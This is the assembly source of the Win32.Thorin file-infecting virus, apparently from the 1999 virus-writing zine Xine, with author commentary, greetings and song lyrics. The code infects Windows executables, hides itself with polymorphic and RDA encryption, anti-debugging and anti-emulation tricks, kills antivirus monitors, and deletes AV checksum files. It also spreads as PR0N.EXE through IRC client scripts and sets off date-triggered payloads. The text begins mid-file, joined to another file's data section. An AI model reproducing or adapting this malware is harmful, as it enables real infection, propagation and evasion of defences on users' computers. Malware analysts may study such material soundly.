?hnFindNextFileA dd (offset HookFindNextFileA)
?szHookGetProcAddress db "GetProcAddress",0
?hnHookGetProcAddress dd (offset HookGetProcAddress)
db "" ; How funny ;)
@IsDebuggerPresent db "IsDebuggerPresent",0
; Hrm, i think i should write some compression engine for that API shit :)
@@Namez label byte
@GetModuleHandleA db "GetModuleHandleA",0
@LoadLibraryA db "LoadLibraryA",0
@FindClose db "FindClose",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CloseHandle db "CloseHandle",0
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
@GetSystemDirectoryA db "GetSystemDirectoryA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
@WriteFile db "WriteFile",0
@GetTickCount db "GetTickCount",0
@GetVersion db "GetVersion",0
@GlobalAlloc db "GlobalAlloc",0
@GlobalFree db "GlobalFree",0
@GetFileSize db "GetFileSize",0
@SetVolumeLabelA db "SetVolumeLabelA",0
@GetSystemTime db "GetSystemTime",0
@@HookedNamez label byte
@MoveFileA db "MoveFileA",0
@CopyFileA db "CopyFileA",0
@GetFullPathNameA db "GetFullPathNameA",0
@DeleteFileA db "DeleteFileA",0
@WinExec db "WinExec",0
@CreateProcessA db "CreateProcessA",0
@CreateFileA db "CreateFileA",0
@GetFileAttributesA db "GetFileAttributesA",0
@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@GetProcAddress db "GetProcAddress",0
db 0BBh ; I rule! :)
@@USER32_APIs label byte
@SwapMouseButton db "SwapMouseButton",0
@MessageBoxA db "MessageBoxA",0
@FindWindowA db "FindWindowA",0
@PostMessageA db "PostMessageA",0
db " " ; I like girls...
@@ADVAPI32_APIs label byte
@RegCreateKeyExA db "RegCreateKeyExA",0
@RegOpenKeyExA db "RegOpenKeyExA",0
@RegDeleteKeyA db "RegDeleteKeyA",0
db "" ; And music tho :)
@@SHELL32_APIs label byte
@ShellExecuteA db "ShellExecuteA",0
random_seed label byte
rnd_seed1 dd 00000000h
rnd_seed2 dd 00000000h
rnd_seed3 dd 00000000h
dd 00000000h
; THME Poly Engine data
THME_CounterReg db 00h
THME_PointerReg db 00h
THME_DeltaReg db 00h
THME_CoproInit db 00h
THME_CryptOp db 00h
THME_Recursion db 00h
THME_LoopAddress db 00000000h
THME_CryptKey dd 00000000h
THME_Pointer dd 00000000h
THME_Data2crypt dd 00000000h
THME_Size2crypt dd 00000000h
THME_S2C_div4 dd 00000000h
THME_GDO_TmpCll dd 00000000h
THME_Fix1 dd 00000000h
THME_Key1 dd 00000000h ; ADD/SUB/XOR key
; Virus data
NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h
TempGA_IT1 dd 00000000h
TempGA_IT2 dd 00000000h
TempHandle dd 00000000h
iobytes dd 00000000h,00000000h,00000000h,00000000h,00000000h
GlobalAllocHnd dd 00000000h
GlobalAllocHnd_ dd 00000000h
TSHandle dd 00000000h
RegHandle dd 00000000h
Disposition dd 00000000h
lpFilePart dd 00000000h
WFD_HndInMem dd 00000000h
WFD_Handles_Count db 00h
CoolFlag db 00h
inNT db 00h
CurrentExt db 00h
tempcurdir db 7Fh dup (00h)
@@Offsetz label byte
_GetModuleHandleA dd 00000000h
_LoadLibraryA dd 00000000h
_FindClose dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
_WriteFile dd 00000000h
_GetTickCount dd 00000000h
_GetVersion dd 00000000h
_GlobalAlloc dd 00000000h
_GlobalFree dd 00000000h
_GetFileSize dd 00000000h
_SetVolumeLabelA dd 00000000h
_GetSystemTime dd 00000000h
@@HookedOffsetz label byte
_MoveFileA dd 00000000h
_CopyFileA dd 00000000h
_GetFullPathNameA dd 00000000h
_DeleteFileA dd 00000000h
_WinExec dd 00000000h
_CreateProcessA dd 00000000h
_CreateFileA dd 00000000h
_GetFileAttributesA dd 00000000h
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_GetProcAddress dd 00000000h
n_HookedAPIs equ (($-@@HookedOffsetz)/4)
@@USER32_Addresses label byte
_SwapMouseButton dd 00000000h
_MessageBoxA dd 00000000h
_FindWindowA dd 00000000h
_PostMessageA dd 00000000h
@@ADVAPI32_Addresses label byte
_RegCreateKeyExA dd 00000000h
_RegOpenKeyExA dd 00000000h
_RegDeleteKeyA dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
_WIN32_FIND_DATA label byte
_WFD_dwFileAttributes dd ?
_WFD_ftCreationTime FILETIME ?
_WFD_ftLastAccessTime FILETIME ?
_WFD_ftLastWriteTime FILETIME ?
_WFD_nFileSizeHigh dd ?
_WFD_nFileSizeLow dd ?
_WFD_dwReserved0 dd ?
_WFD_dwReserved1 dd ?
_WFD_szFileName db MAX_PATH dup (?)
_WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
SYSTEMTIME label byte
ST_wYear dw ?
ST_wMonth dw ?
ST_wDayOfWeek dw ?
ST_wDay dw ?
ST_wHour dw ?
ST_wMinute dw ?
ST_wSecond dw ?
ST_wMilliseconds dw ?
directories label byte
WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf
align dword
crypt_end label byte
virus_end label byte
; ===========================================================================
; First generation host
; ===========================================================================
; I'm alone. I'm with me. I'm thinking. I'm dangerous.
fakehost:
pop dword ptr fs:[0]
pop eax
popad
popfd
xor eax,eax
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
push 00000000h
call ExitProcess
end thorin
; ===========================================================================
; Bonus Track
; ===========================================================================
;
; As this virus is related with Tolkien, there is also a relation with some
; songs of my favourite band: Blind Guardian. And as most of you don't know
; a shit about them, here i will put one song: The Bard's Song [in the fo-
; rest], that is the hymn of all Blind Guardian's fans. By the way, i have to
; wish them good luck, because i've heard that their vocalist had recently an
; operation in his ear. Good luck, Hansi!!! We will always love you!
;
; Bard's Song [in the forest]
; ???????????????????????????
; Now you all know
; The bards and their songs
; When hours have gone by
; I'll close my eyes
; In a world far away
; We may meet again
; But now hear my song
; About the dawn of the night
; Let's sing the bards' song
;
; Tomorrow will take us away
; Far from home
; Noone will ever know our names
; But the bards' song will remain
; Tomorrow will take it away
; The fear of today
; It will be gone
; Due to our magic songs
;
; There's only one song
; Left in my mind
; Tales of a brave man
; Who lived far from here
;
; Now the bard songs are over
; And it's time to leave
; Noone should ask you for the name
; Of the one
; Who tells the story
;
; Tomorrow will take us away
; Far from home
; Noone will ever know our names
; But the bards' song will remain
; Tomorrow all will be known
; And you are not alone
; So don't be afraid
; In the dark and cold
; 'Cause the bards' song will remain
; They all will remain
;
; In my thoughts and dreams
; They're always in my mind
; These songs from hobbits, dwarves and men
; And elves
; Come close your eyes
; You can see them, too
;
; ---
; Copyright (c) 1992 by Blind Guardian; "Somewhere far beyond" album.
; Brought to you by 'The ZOO' !
/-----------------------------\
| Xine - issue #4 - Phile 204 |
\-----------------------------/
; [Win32.Thorin] - PE/mIRC/PIRCH/ViRC97/resident/semi-stealth/poly/RDA, etc.
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; ??» ??» ??» ???» ??» ??????» ??????»
; ??? ??? ??? ????» ??? ???????» ???????»
; ??? ?» ??? ??? ?????» ??? ??????? ???????
; ??????»??? ??? ??????»??? ??????» ???????
; ?????????? ??? ??? ?????? ???????? ???????» ??»
; ???????? ??? ??? ????? ??????? ???????? ???
; ????????» ??» ??» ??????» ??????» ??» ???» ??»
; ????????? ??? ??? ????????» ???????» ??? ????» ???
; ??? ???????? ??? ??? ???????? ??? ?????» ???
; ??? ???????? ??? ??? ???????» ??? ??????»???
; ??? ??? ??? ????????? ??? ??? ??? ??? ??????
; ??? ??? ??? ??????? ??? ??? ??? ??? ?????
;
; Virus Name : Thorin.11932 [ Bugfix version ]
; Virus Author : Billy Belcebu/iKX
; Origin : Spain
; Platform : Win32
; Target : PE files (EXE/SCR/CPL) & mIRC/PIRCH/ViRC97 spreading
; Poly : THME 1.0 [The Hobbit Mutation Engine]
; Unpack : LSCE 1.0 [Little Shitty Compression Engine]
; Compiling : TASM 5.0 and TLINK 5.0 should be used
; tasm32 /ml /m3 thorin,,;
; tlink32 /Tpe /aa /c /v thorin,thorin,,import32.lib,
; pewrsec thorin.exe
; Why 'Thorin'? : Heh, are you an incult guy? Heh, have you ever read the
; wonderful book of the wonderful author J. R. R. Tolkien,
; called "The Hobbit"? Ok, if you did it, you can realize
; that the most important dwarf is called in this way :) He
; died with honour, and he couldn't taste the victory and be
; the king, anyway thanks to him, the Middle-Earth was a much
; better world for years. Ain't it charming? ;)
; Features : Ok, here i will list all that this babe is able to do...
; ? Infect PE files in current, Windows, and System dirs.
; ? Runtime module, infects 4 files each time.
; ? Per-Process residency (Import Table & GetProcAddress).
; ? Infects EXE, SCR & CPL files.
; ? Anti-Debugging features (SEH & 'IsDebuggerPresent').
; ? Anti-Emulation features.
; ? Anti-Monitors, kills AVP Monitor and AMON.
; ? Polymorphic layer of decryption.
; ? RDA layer of decryption.
; ? Size Stealth (FindFirstFileA/FindNextFileA).
; ? Fast infection (depending of the host).
; ? Internet aware virus: mIRC, ViRC97 and PIRCH scripts.
; ? Traversal routine for search for the scripts (hi LJ!).
; ? Packed dropper, used LSCE 1.0.
; ? Really tiny unpacker.
; ? Multiple payloads (see below).
; ? Doesn't hardcode KERNEL32 base address.
; ? Doesn't hardcode API addresses (of course).
; ? Gets Image Base at running time.
; ? Removes many AV CRC files.
; ? Avoids infection of certain (dangerous for us) files.
; Payloads : Yes, this virus has multiple payloads (hi DuST!). Let's see
; a little overview of them (executed every 26 of October).
; 1. The biggest one, based in a trick that i learnt from
; mandragore's viruses, dropping a file as C:\WIN.COM, that
; gets executed by the system before of the file that should
; be, that is C:\WINDOWS\WIN.COM, thus bringing us the possi-
; bility of own the computer before windows :) Well, it cons-
; ists in a very little, simple and easy quiz that all ppl
; who had read "The Hobbit" once in his life would be able to
; pass without problems, and consists of 3 questions.
; 2. Sets the HD's name as 'THORIN'.
; 3. Due an idea that my friend Qozah gave me, it swaps the
; mouse buttons, thus making the user be stoned... All you
; clicked with the left button, now you'll have to click with
; the right one, and vice-versa.
; 4. The typical MessageBox with a silly message.
; 5. Launches user to Microsoft page, thus annoying him and
; make his little and ignorant mind to think that the awaited
; Micro$oft offensive over the earth has began. Well, ain't
; this one charming? ;)
; Internet : This virus is able to spread itself using the most used
; IRC programs over the world: mIRC, PIRCH and ViRC. Every
; infected system will have a little infected file in
; C:\PR0N.EXE. This file is sent to everyone that joins the
; channel where the user is chatting by DCC. Very simple and
; effective.
; Greetings : This virus is dedicated to many people... Firstly, to the
; iKX crew for trust in me, to the DDT past,present and futu-
; re crew for the friendship during the time, 29A ppl, FS ppl
; etc. Now, the personal greetings (w/ no particular order):
;
; SeptiC - Your 'Internet aware viruses' article rules!!!
; b0z0 - Hi, my favourite 'little' clown :)
; StarZer0 - no. no, no. no sex.
; Int13h - I'd like you come to Spain :)
; Murkry - I'm glad to be in a group with this genius.
; n0ph - I still don't have the pleasure of knowin' you...
; Somniun - Si tienes alguna duda de Win32, pregunta!! ;)
; Wintermute - RAMMSTEIN rules! You always have reason ;)
; Owl - You are very isolated from the world, pal :)
; Vecna - The best coder of everytime.
; Ypsilon - Nos vemos en septiembre! :)
; Bumblebee - Pues eso, a ver si tu vienes tambien...
; TechnoPhunk - Forget catholicism and be nihilist! ;)
; Qozah - I'd like to do a cooperation project with ya ;)
; Benny - Same with you :) Yer a reely impressive codah!
; Super - ?Como te va en Castellon?
; nIgr0 - Code viruses, not 'legal' thingies!
; MDriller - best p0lys without any kinda discussion...
; T-2000 - I share ur ideas 'bout religion: radical but true
; SlageHammer - I loved yer city! Milano rocks! Padania rocks!
; VirusBuster - I've seen "Love Struck Baby" video. SRV rlz ;)
; LordJulus - Keep on coding, but optimize more! ;)
;
; Also dedicated to all the Bards around!
;
; Thoughts : This is, nowadays, my best virus so far, over Iced Earth,
; Garaipena, and Nitro, all of them for Windoze. I needed to
; do at least a good virus, for feed my own ego (why lie?),
; and i think this is what really happened. But i won't stop
; there, there are many things yet to explore (and exploit)
; in 32 bit enviroments, there are many problems unsolved,
; and i will try to contribute with my humble code for all
; those purposes. Btw, i used, in my other viruses, to try to
; optimize , but in this virus i didn't. I mean, you won't
; see here OBVIOUS lacks of optimization, like CMP reg,-1 but
; i will use many times the same code in different procedures
; many strings, two droppers (one for IRC distribution, and
; other for one payload). This virus is big in its size, well
; not as Win32.Harrier, Win32.Libertine, WinNT.Remex, etc.,
; but it's a 'big' one, and i hope this will mean a 'good'
; one. Fuck, i've coded also a lot of payloads, none of them
; is destructive, but all are VERY annoying... The descripti-
; on is above, if you don't believe me.
; Well, now i'm gonna excuse myself, because while making
; this virus (based initially on my Win95.Iced Earth) i have
; noticed the great quantity of bugs that my Iced Earth virus
; had (believe me, more than 10 incredible bugs!), and i'm
; still wondering why all those escaped from my beta testing.
; Moreover, all those bugs only reflect my incompetence. With
; this virus i have made very serious tests, mainly because
; some delicated parts of the virus needed it to work perfec-
; ly (i.e. per-process residence). Maybe there will be also
; bugs, but now at least i know there are less :)
; My next steps will be the research in the fields of MMX
; polymorphism, some metamorphism, and i hope that my next
; virus will use EPO techniques, because i haven't experimen-
; ted yet with such a kewl thing.
; Politics : Benny doesn't like that i use to talk about politics, but i
; have put it there just for explain some things that could
; guide you to misunderstand my way of act. Everybody knows
; that i tend to Marxism, right? Well, but i'm not saying
; with this that i support Fidel Castro, Mao, and such like
; pseudo-communists (that tend to totalitarism). I think that
; everybody must have the same oportunities, and without any
; kind of discrimination. But as i am not a guy with an only
; idea, i support also (if there isn't any other choice) the
; democracy, but i prefer it to be a democracy as participa-
; tion and not as a procediment. Whom has studied some philo-
; sophy will know of what i am talking about: avoid the fi-
; erce and discriminatory capitalism. As i am tolerant, you
; can be againist my ideas, and i will accept it. So Benny,
; i'm not a totalitarian asshole, just the opposite, i'm just
; a young idealist :) Be free, enjoy life...
; Final note : Although it screwed me a lot, i haven't put data in the
; heap as i used to do because this virus is too big and the
; data used temporally is also too big, and it generated some
; protection faults... SHIT!!!!
;
; That is not dead
; which can eternal lie
; yet with strange aeons
; even death may die
;
; -H. P. Lovecraft-
;
; (c) 1999 Billy Belcebu/iKX
.586p
.model flat
.data
; 1st gen exported apis
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
; Some useful equates
virus_size equ (offset virus_end-offset virus_start)
poly_virus_size equ (offset crypt_end-offset thorin)
shit_b4_delta equ (offset delta-offset virus_start)
encrypt_size equ (crypt_end-crypto)
non_crypt_size equ (virus_size-encrypt_size-rda_decryptor)
rda_decryptor equ (virus_end-crypt_end)
section_flags equ 00000020h or 20000000h or 80000000h
directory_attr equ 00000010h
temp_attributes equ 00000080h
drop_old_size equ 00011000d
n_Handles equ 50d
WFD_HndSize equ n_Handles*8
n_infections equ 04h
bad_number equ 09h
orig_size equ 044h
mark equ 04Ch
ddInfMark equ "NRHT"
kernel_ equ 0BFF70000h ; Only used if the K32 search
kernel_wNT equ 077F00000h ; fails...
imagebase_ equ 000400000h ; y0h0h0
; Interesting macros for my code
cmp_ macro reg,joff1 ; Optimized version of
inc reg ; CMP reg,0FFFFFFFFh
jz joff1 ; JZ joff1
dec reg ; The code is reduced in 3
endm ; bytes (7-4)
cmpz macro reg,joff2 ; Optimized version of
xchg reg,ecx ; CMP reg,00h
jecxz joff2 ; JZ joff2
endm ; Code reduced in 2 bytes
cmpz_ macro reg,joff3 ; Blah
or reg,reg
jz joff3
endm
apicall macro apioff ; Optimize muthafucka!
call dword ptr [ebp+apioff]
endm
rva2va macro reg,base ; Only for make preetiest the
add reg,[ebp+base] ; code ;)
endm
virussize macro
db virus_size/10000 mod 10 + "0"
db virus_size/01000 mod 10 + "0"
db virus_size/00100 mod 10 + "0"
db virus_size/00010 mod 10 + "0"
db virus_size/00001 mod 10 + "0"
endm
; Some shitty thingies in data section... 1st gen host messages
.data
szTitle db "[Win32.Thorin]",0
szMessage db "First Generation Sample",10
db "Virus Size : "
virussize
db " bytes"
db 10
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
; El ke mucho llora es porke no mama!
.code
; ===========================================================================
; Virus code
; ===========================================================================
; DU HAST MICH!!!
virus_start label byte
poly_layer db LIMIT dup (90h) ; Space for poly-decryptor
thorin:
pushad ; Push all da shit
pushfd
fwait ; Reset coprocessor
fninit
call kill_av ; Anti-emulation trick
mov esp,[esp+08h]
xor edx,edx
pop dword ptr fs:[edx]
pop edx
jmp over_trap
kill_av:
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
dec byte ptr [edx]
jmp over_rda
over_trap:
call delta ; Hardest code to undestand ;)
delta: pop ebp
mov eax,ebp
sub ebp,offset delta
sub eax,shit_b4_delta
sub eax,00001000h
NewEIP equ $-4
push eax ; Save it
or ebp,ebp ; Goddamn first gen...
jz over_rda
call rda_crypt
jmp over_rda
; ===========================================================================
; RDA Layer (Random Decryption Algorithm)
; ===========================================================================
; I have become a direct. I have become insurgent.
rda_crypt proc
xor ebx,ebx ; Clear counter
try_another_key:
call crypt ; Try to decrypt it
push ebx ; Save counter
lea esi,[ebp+crypto] ; Load address to crypt
mov edi,encrypt_size ; Size to crypt
call CRC32 ; Get its CRC32
pop ebx ; Restore counter
cmp eax,12345678h ; Actual CRC32=CRC32 unencrypted?
CRC equ $-4
jz rda_done ; Yeah, then we decrypted it
call crypt ; Nopes, fix it
inc ebx ; increase key
jmp try_another_key ; Try with another key
rda_done:
ret
rda_crypt endp
crypt proc ; This procedures simplifies
lea edi,[ebp+crypto] ; the task (and optimizes) of
mov ecx,encrypt_size ; encrypt with a determinated
rda_: xor byte ptr [edi],bl ; key
inc edi
loop rda_
ret
crypt endp
; Legalizar consimizion, no te konviene... se akaba el filon!
; ===========================================================================
; CRC32 calculator [by Vecna]
; ===========================================================================
;
; input:
; ESI = Offset where code to calculate begins
; EDI = Size of that code
; output:
; EAX = CRC32 of given code
;
CRC32 proc
cld
push ebx
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; Another fool byte less
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
crypto equ $
db " [IAIDA] " ; Little message to the pree-
; tiest girl over the earth.
; She deserves much more, i
; know... anyway... she's here!
; No penseis ke soy baboso, ein?!?!?!?!?!? :)
over_rda:
pop eax
mov dword ptr [ebp+ModBase],eax ; EAX = Image Base of module
call ChangeSEH ; SEH rlz.
mov esp,[esp+08h] ; Restore stack
jmp RestoreSEH
ChangeSEH:
xor ebx,ebx ; Joder, no joderemos...
push dword ptr fs:[ebx] ; pero ­JODER! las ganas ke
mov fs:[ebx],esp ; tenemos :)
and byte ptr [ebp+inNT],00h ; Make zero inNT variable
mov ecx,cs ; Check if we are under WinNT
xor cl,cl
jecxz WinNT ; ECX = 0 - WinNT;100 - Win9X
jmp shock
WinNT:
inc byte ptr [ebp+inNT] ; If NT, mark this
shock:
mov esi,[esp+2Ch] ; Get program return address
mov ecx,05d ; Max level
call GetK32
; I hate the catholicism... I HATE THE CATHOLICISM!!!! STOP HIPOCRISY!!!!!!!!
; STOP THOSE GODDAMN LIES!!! What is that? God helps us? Hahahahah!!! So, you
; stupid catholic asshole... why there are wars, genocides, etc? Why we, the
; human race, are as cruel with other humans, the nature, and everything that
; goes againist our own process to earn money? Open your eyes... i won't make
; you change using the power... just change yourself... it's your choice.
asakopako:
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
; This is the main branch of the virus
lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs ; Retrieve all APIs
call AntiDebugger ; Antidebug their arse
call PrepareInfection ; Set-up infection
call KillMonitors ; Kill AV monitors
call InfectItAll ; Infect dirs
call DropPR0N ; Unpack and drop PR0N.EXE
call TraversalSearch ; Search for scripts and dr0p
call HookAllAPIs ; Hook IT APIs
; Ok, we prepare to end the adventure...
push WFD_HndSize ; Hook some mem for WFD_Handles
push 00000000h ; structure
apicall _GlobalAlloc
mov dword ptr [ebp+WFD_HndInMem],eax
; Activate payload every 26th of October, a magical day.
lea eax,[ebp+SYSTEMTIME]
push eax
apicall _GetSystemTime
cmp word ptr [ebp+ST_wDay],31d
jnz continue_payload
jmp delete_key
continue_payload:
cmp word ptr [ebp+ST_wDay],26d
jnz no_payload
cmp word ptr [ebp+ST_wMonth],10d
jnz no_payload
call payload ; Well... payloads :)
no_payload:
xchg ebp,ecx ; 1st gen shit
jecxz fakehost_
RestoreSEH:
xor ebx,ebx ; Restore old SEH handler
pop dword ptr fs:[ebx]
pop eax
popfd ; Restore registers & flags
popad
mov ebx,12345678h ; Here goes program's EIP
org $-4
OldEIP dd 00001000h
add ebx,12345678h ; And here its base address
org $-4
ModBase dd imagebase_
push ebx ; We return control to host
ret
fakehost_:
jmp fakehost ; 1st gen shitz0r
; CATHOLICISM = FASCISM = SHIT
delete_key: ; This gets executed once
lea esi,[ebp+key_mIRC] ; each 2 months :)
call DelReg
lea esi,[ebp+key_PIRCH]
call DelReg
lea esi,[ebp+key_ViRC97]
call DelReg
jmp no_payload
; ===========================================================================
; Most important virus info :)
; ===========================================================================
vname label byte
db "[Win32.Thorin."
virussize
db " v1.00]",00h
copyr db "Copyright (c) 1999 by Billy Belcebu/iKX",0
; ===========================================================================
; Obtain useful info that will be used in infection process
; ===========================================================================
PrepareInfection:
lea edi,[ebp+WindowsDir] ; Pointer to the variable
push 7Fh ; Size of dir variable
push edi ; Push it!
apicall _GetWindowsDirectoryA
add edi,7Fh ; Pointer to the variable
push 7Fh ; Size of dir variable
push edi ; Push it!
apicall _GetSystemDirectoryA
add edi,7Fh ; Pointer to the variable
push edi ; Size of dir variable
push 7Fh ; Push it!
apicall _GetCurrentDirectoryA
lea eax,[ebp+szUSER32] ; Get all needed APIs from
push eax ; the USER32.DLL library
apicall _LoadLibraryA
xchg eax,ebx
lea edi,[ebp+@@USER32_APIs] ; Pointer to API strings
lea esi,[ebp+@@USER32_Addresses] ; Pointer to API addresses
retrieve_user32_apis:
push edi ; Push pointer to string
push ebx ; Push USER32 base address
apicall _GetProcAddress
xchg edi,esi ; Store the address
stosd
xchg edi,esi
xor al,al ; Get the end of string
scasb
jnz $-1
cmp byte ptr [edi]," " ; I like girls...
jz all_user32_apis ; Is last api?
jmp retrieve_user32_apis
all_user32_apis:
lea eax,[ebp+szADVAPI32] ; Here we will get all needed
push eax ; APIs from ADVAPI32.DLL
apicall _LoadLibraryA
xchg eax,ebx
lea edi,[ebp+@@ADVAPI32_APIs] ; Pointer to API names
lea esi,[ebp+@@ADVAPI32_Addresses] ; Pointer to API addresses
retrieve_advapi32_apis:
push edi ; Push pointer to name
push ebx ; Push ADVAPI32 base address
apicall _GetProcAddress
xchg edi,esi ; Store API address
stosd
xchg edi,esi
xor al,al ; Get the end of API string
scasb
jnz $-1
cmp byte ptr [edi],"" ; I like music [:)~
jz all_advapi32_apis
jmp retrieve_advapi32_apis
all_advapi32_apis:
ret
; Heh, a greeting to the man (and the book!) that inspired this virus :)
db 0,"[The Hobbit (c) 1937 by J.R.R. Tolkien]",0
; ===========================================================================
; Infect current, Windows and System directories
; ===========================================================================
InfectItAll:
lea edi,[ebp+directories] ; Pointer to 1st directory
mov byte ptr [ebp+mirrormirror],dirs2inf ; Set up variable
requiem:
push edi ; Set as current dir the
apicall _SetCurrentDirectoryA ; dir to infect
call DeleteShit ; Delete AV CRC files
push edi
; Initialize this values for each directory processed
and byte ptr [ebp+CurrentExt],00h
lea esi,[ebp+EXTENSIONS]
lea edi,[ebp+EXTENSION]
infect_all_masks:
cmp byte ptr [ebp+CurrentExt],n_EXT
jae all_mask_infected
lodsd ; EAX = EXTENSION
mov [edi],eax ; No STOSD! We don't want EDI
; to change...
push edi esi
call Infect ; Infect some files
pop esi edi
inc byte ptr [ebp+CurrentExt]
jmp infect_all_masks
all_mask_infected:
pop edi
add edi,7Fh ; Get another directory
dec byte ptr [ebp+mirrormirror] ; Check if we infected all
cmp byte ptr [ebp+mirrormirror],00h ; available directories
jnz requiem
ret
; ===========================================================================
; Search MASK and infect found uninfected files
; ===========================================================================
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
push eax
lea eax,[ebp+offset _MASK]
push eax
apicall _FindFirstFileA ; Get first file on directory
cmp_ eax,FailInfect ; Failed? Shit...
mov dword ptr [ebp+SearchHandle],eax
__1: lea edi,[ebp+WFD_szFileName]
call AvoidShitFiles
jc __2
push dword ptr [ebp+NewEIP]
push dword ptr [ebp+OldEIP]
push dword ptr [ebp+ModBase]
call Infection ; Infect file
pop dword ptr [ebp+ModBase]
pop dword ptr [ebp+OldEIP]
pop dword ptr [ebp+NewEIP]
jc __2
inc byte ptr [ebp+infections]
cmp byte ptr [ebp+infections],n_infections ; Did we infected them?
jae FailInfect ; Yeah... :)
__2: lea edi,[ebp+WFD_szFileName] ; Clear name field
mov ecx,MAX_PATH
xor al,al
rep stosb
lea eax,[ebp+offset WIN32_FIND_DATA] ; Search for another file
push eax
push dword ptr [ebp+SearchHandle]
apicall _FindNextFileA
cmpz eax,CloseSearchHandle
jmp __1
CloseSearchHandle:
push dword ptr [ebp+SearchHandle] ; Close search handle
apicall _FindClose
FailInfect:
ret
db 0,"[Luthien is still alive in the world]",0
; ===========================================================================
; Traversal search for mIRC and PIRCH scripts (modified version of LJ's code)
; ===========================================================================
TraversalSearch:
lea esi,[ebp+tempcurdir] ; Get the current directory
push esi ; (We only want the current
push 7Fh ; drive)
apicall _GetCurrentDirectoryA
lodsb ; Get drive
mov byte ptr [ebp+root],al ; Put it in its variable
lea eax,[ebp+root] ; Reach the root directory
push eax ; of the current drive
apicall _SetCurrentDirectoryA
Traversal:
lea esi,[ebp+key_mIRC] ; Already catched? Avoid
call RegExist ; this if so, as it needs many
jc nomoretosearch ; time, and the user could
lea esi,[ebp+key_PIRCH] ; notice our presence :)
call RegExist
jc nomoretosearch
lea esi,[ebp+key_ViRC97]
call RegExist
jc nomoretosearch
xor ebx,ebx ; Clear counter
findfirstdir:
lea edi,[ebp+_WIN32_FIND_DATA] ; Search for directories
push edi
lea eax,[ebp+ALL_MASK]
push eax
apicall _FindFirstFileA
cmp_ eax,notfoundfirstdir
mov dword ptr [ebp+TSHandle],eax
main_trav:
cmp dword ptr [ebp+_WFD_dwFileAttributes],directory_attr
jnz findnextdir
lea eax,[ebp+_WFD_szFileName]
cmp byte ptr [eax],"." ; Is dir "." or ".."?
jz findnextdir ; Shitz
push eax
apicall _SetCurrentDirectoryA
pushad
call Worms ; Let's rock!
popad
push dword ptr [ebp+TSHandle] ; Save handle
inc ebx ; Increase counter :)
jmp findfirstdir
findnextdir:
push edi ; Search for another dir
push dword ptr [ebp+TSHandle]
apicall _FindNextFileA
cmpz eax,notfoundfirstdir
jmp main_trav
notfoundfirstdir:
lea eax,[ebp+dotdot] ; Go back 1 dir
push eax
apicall _SetCurrentDirectoryA
or ebx,ebx ; Are we in root? yeah, it's
jz nomoretosearch ; over! our search finished!
dec ebx ; Decrease countah
pop dword ptr [ebp+TSHandle]
jmp findnextdir
notfoundnextdir:
push dword ptr [ebp+TSHandle]
apicall _FindClose
jmp notfoundfirstdir
nomoretosearch:
lea esi,[ebp+key_PIRCH] ; Mark all registry keys...
call PutReg
lea esi,[ebp+key_mIRC]
call PutReg
lea esi,[ebp+key_ViRC97]
call PutReg
lea esi,[ebp+tempcurdir] ; And put current directory
push esi ; back :)
apicall _SetCurrentDirectoryA
ret
db 0,"[Thorin,Dori,Nori,Ori,Balin,Dwalin,Fili,Kili,Oin,Gloin,"
db "Bifur,Bofur,Bombur]",0
; ===========================================================================
; Worms (mIRC & PIRCH) installer
; ===========================================================================
Worms:
call DeleteShit ; Delete AV CRCs from all dir
push 80h ; We test for the presence of
lea eax,[ebp+PirchWormFile] ; the scripts by setting a
push eax ; normal attribute to them.
apicall _SetFileAttributesA ; If the api returns us an
xchg eax,ecx ; error, then we know the
